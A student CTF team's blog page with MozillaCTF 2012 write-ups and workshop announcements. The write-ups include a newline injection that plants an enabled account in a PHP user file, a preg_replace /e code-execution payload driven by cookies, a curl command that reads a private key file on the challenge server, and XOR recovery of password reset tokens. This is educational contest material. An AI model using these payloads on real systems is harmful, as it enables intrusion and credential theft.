MozillaCTF Write-Up SecureFileLock (250)

January 27, 2012

This very secure locking mechanism encloses files and only gives them to you when you know the passphrase. Find it and you will have the flag.

Ok, let’s see. It’s a 64bit ELF binary, which means no easy “Press F5 in IDA”. Let’s run it

$:~/tmp/mozillactf$ ./securefilelock
Welcome to Secure File Lock
Playing 'Ethereal Awakening' by Project Divinity (CC BY-NC-SA 2.5)
Please enter your password. (max length = 32):

Ok, let’s see what it does in strace if we enter any password (boring stuff omitted).

$:~/tmp/mozillactf$ strace -eexecve ./securefilelock
execve("./securefilelock", ["./securefilelock"], [/* 37 vars */]) = 0
Welcome to Secure File Lock
Playing 'Ethereal Awakening' by Project Divinity (CC BY-NC-SA 2.5)
Please enter your password. (max length = 32):
a
Processing.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
execve("/usr/bin/vlc", ["/usr/bin/vlc", "--play-and-exit", "/tmp/sf.KpQB3w"], [/* 37 vars */]) = -1 ENOENT (No such file or directory)

Ok, so it writes to a temp file and tries to run it in vlc. Let’s try the same thing for password “b”. The get another file which differs in every bytes. Oh well, this sounds like XOR. Entering “ab” as a password results in a file that matches every second byte to the corresponding files for “a” and “b” – ok, its XOR.

Now, let’s once again look at the output we got when the programm started.


Welcome to Secure File Lock
Playing 'Ethereal Awakening' by Project Divinity (CC BY-NC-SA 2.5)

Googling for ‘Ethereal Awakening’ and the exact filesize, we find a torrent which lists multiple MP3 files. At this point, there are two ways to handle things. a) Download the MP3 or b) be lucky and have challenge authors that think ahead. Let’s go with b), the CTF was fun up until this point.

MP3? They will probably have a header! Looking at any given MP3 they all shared the same 7 bytes.

49 44 33 03 00 00 00

Ok, so we know the extracted file is an MP3 audio file and we know how the first 7 bytes look. Let’s hope for the condition of b) (challenge authors that think ahead) and guess that the XOR key is 7 bytes long. The idea now is to generate all possible outcomes of the file using just one byte long XOR keys.


import os
for i in range(ord('a'),ord('z')+1):
 os.system("echo %s | ./securefilelock" % chr(i))
 os.system("mv /tmp/sf.* /tmp/unpacked_%s" % chr(i))

for i in range(ord('A'),ord('Z')+1):
 os.system("echo %s | ./securefilelock" % chr(i))
 os.system("mv /tmp/sf.* /tmp/unpacked_%s" % chr(i))

for i in range(ord('0'),ord('9')+1):
 os.system("echo %s | ./securefilelock" % chr(i))
 os.system("mv /tmp/sf.* /tmp/unpacked_%s" % chr(i))

After we have generated this, let’s look at each byte until we have found the right key.


import base64
from itertools import izip, cycle
import sys
import glob

def xor_crypt_string(data, key):
 return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(data, cycle(key)))

orig = "ID3\x03\x00\x00\x00"
secret = dict()

for fn in glob.glob("/tmp/unpacked_*"):
 char = fn[fn.find("_")+1:]
 cont = open(fn,"r").read()
 for i in range(0,7):
 if cont[i] == orig[i]:
 secret[i] = char
sk = secret.keys()
sk.sort()
print ''.join(secret[s] for s in sk)

Which returns “yciNhAh” – 250 points.

0

MozillaCTF Write-Up Buoy (250)

January 27, 2012

Get access to the system of the communication buoy (pwned feds, international waters) and steal the private key that is located in /home/buoy/private.key
It might help you that our intelligence has found the source code.

Looking at the source, we see that there should be a way to register using /?m=register – it is however disabled. So, we first need to find a way to register. There is a folder “modules” beneath the root folder, which contains register.php. We find a function, which is called with the parameters

$_REQUEST["username"]

and

$_REQUEST["password"]

. The two parameters are checked so they cannot be longer then 50 chars.


function register( $username, $password )
{
 $handle = @fopen( '/tmp/users.db', 'a' );

if( !$handle )
 {
 return false;
 }

fwrite( $handle, $username . ';' . md5( $password ) . ';' . ( $auto_enable_accounts ? '1' : '0' ) . ';' . "\n" );
 fclose( $handle );

return true;
}

Looking at the source, we see that a user is not automatically enabled because the $auto_enable_accounts var is not set. Thus, we need some way to enable our user. We have unfiltered control of the username, so let’s just register as “sqrts;ea847988ba59727dbf4e34ee75726dc3;1;\na” with any password. This adds two lines to the database file

sqrts;ea847988ba59727dbf4e34ee75726dc3;1;
a;<random md5s>;0;

So, we can now log into the system as sqrts with password “topsecret” (if you wondered what the md5 was).
After having logged in, we now need to find a vuln to run our attack. A promising this is “modules/read.php”. It reads and displays the message that were sent before. However, it has some form of smart tags to generate formatted output.

</pre>
function replace_code( $message )
{
 $message = preg_replace( '/\[b\](.*?)\[\/b\]/i', '<b>$1</b>', $message );
 $message = preg_replace( '/\[i\](.*?)\[\/i\]/i', '<i>$1</i>', $message );
 $message = preg_replace( '/\[uc\](.*?)\[\/uc\]/ie', 'strtoupper("$1")', $message );
 $message = preg_replace( '/\[lc\](.*?)\[\/lc\]/ie', 'strtolower("$1")', $message );

return $message;
}

replace_code is called on the posted text. Looking at the third and fourth preg_replace, we see the “e” modifier. “e” stands for evaluate and means that the second parameter is run as PHP code. After playing with it a bit, we entered the following text


{${$_COOKIE[cmd]($_COOKIE[param])}}

This notion is available in PHP to call functions generated from a string – and we can control $_COOKIE. Note that we could not use quotes for the name in the array because of htmlspecialchars() being called on the message first. Afterwards, we can execute our commands using curl.


curl -b "PHPSESSID=...;cmd=system;cmd=cat /home/buoy/private.key" http://challenge02.mozillactf.org/index.php?read=m&channel=whatwejustinserted

which gives us the flag.

0

MozillaCTF Write-Up Kill the Kraken (200)

January 27, 2012

The description states

The kraken is an evil creature that needs to be put down.

So, we found that there is a user called kraken in Spark. Killing the kraken probably means deleting the account. How can we delete an account? Yes, we can generate the recovery token if we know the e-mail address. But well, we don’t that, do we?

Looking at the last challenge, we saw a URL for the user. In our case, the user was called “sqrtsben” and the link was /en-US/users/737172747362656E. We first thought that this might a be user ID of some sort stored in the database. But, looking again, we see that the ID has exactly double the length of our username. Having a idea of what the ASCII table looks like helps here – 0×73 is the number for “s”, 0×71 for “q” and so on. So, this is actually the username represented in hex.

Now that we know that, we can generate the correct user ID for the kraken, which is “6B72616B656E”. Opening the coresponding page shows us the e-mail address. The knowledge from the last challenge lets us generate the right token, so we can reset the password for the kraken and delete it. After deleting it, we get a message stating our flag.

0

MozillaCTF Write-Up Things long forgotten (200)

January 27, 2012

The description to the challenge was given as:

Find something the developer forgot about.

So, we are looking for something that was not meant to be on the website. As we know from experience, typically things aren’t removed from the HTML source but just commented out. So, let’s look at the website’s source – oh what have we here?

<!-- <a href="http://ocean.mozillactf.org/en-US/users/737172747362656E">Debug User</a> -->

Let’s follow that link. It shows us a page with our user information. Ok, this is old news, we registered with that data. But maybe… oh yeah, the source!

<!-- Flag ='There are so many buried treasures in the sea!' -->

 

0

MozillaCTF Write-Up Underwater Camouflage (250)

January 27, 2012

One of the challenges in MozillaCTF was to determine the way of how the Password Recovery Token was generated.

There’s something fishy about the generation of recovery token. Find out how to generate them for other accounts!

The token could be viewed directly after logging in and looking at the user details. To gather some intelligence on the generation algorithm, we first created three accounts and looked at the difference in the tokens.

sqrts1;sqrts@mailinator.com;NR0TE0lgSiwIAhBOEhEOUk0RCgwHBAARAGAFCA0JSQcPVB8eTwoBTQAYFRwHYUo=
sqrts2;sqrts1@mailinator.com;NR0TE0kRZyAABxVJHQQVTxFcBg4ZBgMXB1NZKQkESQUHThEYDhtAQxwEFBkGVVQ=
sqrts3;sqrts2@mailinator.com;NR0TE0kSZyAABxVJHQQVTxFcBg4ZBgMXB1NaKQkESQUHThEYDhtAQxwEFBkGVVQ=

We can see that there is distinct difference between the first and second user, but only a slight one between the second and third. Looking at the generated tokens, we see that there is a difference in the 8th byte. The difference between sqrts1 and sqrts2 is very clear, between sqrts2 and sqrts3 it is just one bit. This leads us to believe that the e-mail address is used to generate the token and not the username (the usernames only differ in one resp. two bits between each the usernames.

We know that base64 encodes 6 bytes in base256 to 8 bytes. So, lets use the first 8 bytes of the token and the first 6 bytes of the e-mail address. Looking at the result, they differ – maybe it’s XOR encryption?

Lets do an XOR on the results

print xor_crypt_string(base64.b64decode("NR0TE0kS"), "sqrts2")

This gives us

Flag: 

Ok, looks like we are on the right way. However, we entered an e-mail address that only has 21 chars, but the base64 decoded token has 47 chars. So, lets use a very long e-mail address! We signed up again with the e-mail address

wearelookingforreallylongxorkeysinthischallenge@mailinator.com

which gave us the token

MQkAFV9MSCIKBxdHFQoTUgYTCQ0NGR0LFFgHGw8AWRoHTgQECBoNSBIFCw0aRkI=

Taking the first 47 chars from the email address and the base64 decoded token and XORing them gives us:

Flag: 'Many sea creatures hide in plain sight!'

Afterwards, looking at the other strings, we determined that the token was just the e-mail address concatted and then cut to 47 chars. However, the method was changed slightly later, so that the e-mail address was seperated by | as a delimiter (so email-address|email-address|…).

0

Workshops Spring Term 2011 – update

March 8, 2011

We recognised a small mistake in our lower contribution and, partly, in e-mails. Due to scheduling conflicts, the first workshop will not take place on Thursday but instead on:
Wednesday, 03/09/2011
The remaining information is still valid.

In general, as in recent years: We will give a short introduction which is immediately followed by exercises. Our talks will be very short and, as always, the focus is on practical tasks. So it is possible to participate from home without but attendance at the first workshop is highly recommended, since a lot of organisational questions will be discussed.

0

Troopers 2011 & PacketWars™

March 7, 2011

Since we scored second during last year’s PacketWars™ challenge on Troopers, we are invited to compete again.

Troopers is an IT-security conference which is hosted every year by the company ERNW GmbH at PMA in Heidelberg. During this conference, a so called PacketWars takes place. This kind of IT-security contests is fundamentally different from CTF contests which we are used to participate. The complete contest is subdivided into multiple so called battles. The single battles usually comprise black box analyses of systems which could also be found in the Internet or during penetration tests. Therefore we will spend quiet some time for prepartion to even improve our good second place from last year. The major goal during the competition is of course the defacement of this site ;)

 

See you there, troopers!

 

0

Workshops Spring Term 2011

February 14, 2011

As every spring term, the squareroots are organizing a series of security related workshops. These workshops deal with all kind of IT security related topics like crypto, network security and webhacking. Since we want to encourage all students of the University of Mannheim to participate, no prior “hacking knowledge” is necessary.
Everyone who is interested — not restricted to students in any sense — in getting a introduction to IT security and hacking techniques is welcome to participate in the first workshop on wednesday march 9th, 17.15, Pi-Pool. During this first session, we will present the covered topics, some organizational stuff and doing a first pratical, basic hacking session. All slides and stuff will be made available to the participants. A summary will also be published in this blog.
If you have any further questions, feel free to contact us. Looking forward to see you there ;)

0

Details on workshops

March 10, 2010

As we already announced, we’re organizing a set of workshops during the spring term 2010. This post summarizes the first workshop that was held last week and gave further organizational details. About 40 people participated while we presented — among other things — the order of the topics:

  • JavaScript (10.3.)
  • SQL Injection I (17.3.)
  • SQL Injection II (24.3.)
  • File Inclusion/Code Execution (14.4.)
  • Regex (21.4.)
  • Scripting Languages & Automation (28.4.)
  • Network Security (5.5.)
  • Review of old CTF services

And of course, there will be the infamous final CTF contest for the best attendees who survived the workshops ;-) To attend the workshops, the most important thing is to subscribe to the workshop mailing list. If you did not participate in the first workshop: Feel free to be chatty on the workshop mailinglist, the list is intended to be your communication platform for workshop related problems and questions. Additionally, don’t get frustrated to quickly. The challanges are design to, well, challenge your endurance and will to find out the hidden secrets even if it gets uncomfortable ;-) All slides and stuff will be made available on the workshops server — get access to it subscribing to the workshop mailing list ;-)

0

Workshops Spring Term 2010

February 28, 2010

As every spring term, the squareroots are organizing a series of security related workshops. These workshops deal with all kind of IT security related topics like crypto, network security and webhacking. Since we want to encourage all students of the University of Mannheim to participate, no prior “hacking knowledge” is necessary.
Everyone who is interested — not restricted to students in any sense — in getting a substantiated introduction to IT security and hacking techniques is welcome to participate in the first workshop on march 3rd, 17.15, Pi-Pool. During this first session, we will present the covered topics, some organizational stuff and doing a first pratical, basic hacking session. All slides and stuff will be made available to the participants. A summary will also be published in this blog.
If you have any further questions, feel free to contact us. Looking forward to see you there ;)

0
Get Adobe Flash playerPlugin by wpburn.com wordpress themes